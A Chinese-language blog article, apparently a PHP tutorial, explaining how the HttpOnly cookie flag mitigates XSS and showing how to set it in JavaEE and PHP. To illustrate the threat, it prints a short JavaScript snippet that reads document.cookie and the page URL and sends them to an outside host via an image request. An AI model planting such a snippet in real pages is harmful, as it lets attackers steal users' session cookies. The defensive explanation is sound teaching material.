首頁  >  文章  >  後端開發  >  php利用httponly防xss攻擊

php利用httponly防xss攻擊

怪我咯
怪我咯原創
2017-07-12 15:30:492203瀏覽
  1. 什麼是HttpOnly?

    如果您在cookie中設定了HttpOnly屬性,那麼透過js腳本將無法讀取到cookie訊息,這樣能有效的防止XSS攻擊,具體一點的介紹請google進行搜尋

  2. #javaEE的API是否支援?

目前sun公司還沒有公佈相關的API,但PHP、C#都有實現。搞javaEE的兄弟們比較鬱悶了,別急下文有變通實現

3.HttpOnly的設定範例

javaEE
response.setHeader("Set-Cookie", "cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

這篇文章主要介紹了xss防禦之php利用httponly防xss攻擊,下面是PHP設定HttpOnly的方法,需要的朋友可以參考下

xss的概念就不用多說了,它的危害是極大的,這就意味著一旦你的網站出現xss漏洞,就可以執行任意的js程式碼,最可怕的是攻擊者利用js取得cookiesession劫持,如果這裡麵包含了大量敏感資訊(身份信息,管理員資訊)等,那完了。 。 。

如下js取得cookie資訊:

 程式碼如下:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;

一般cookie都是從document物件中取得的,現在瀏覽器在設定Cookie的時候一般都接受一個叫做HttpOnly的參數,跟domain等其他參數一樣,一旦這個HttpOnly被設置,你在瀏覽器的document物件中就看不到Cookie了。

PHP設定HttpOnly

//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);

//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

對於PHP5.1以前版本的PHP通過:

header("Set-Cookie: hidden=value; httpOnly");

最後,HttpOnly不是萬能的!

以上是php利用httponly防xss攻擊的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn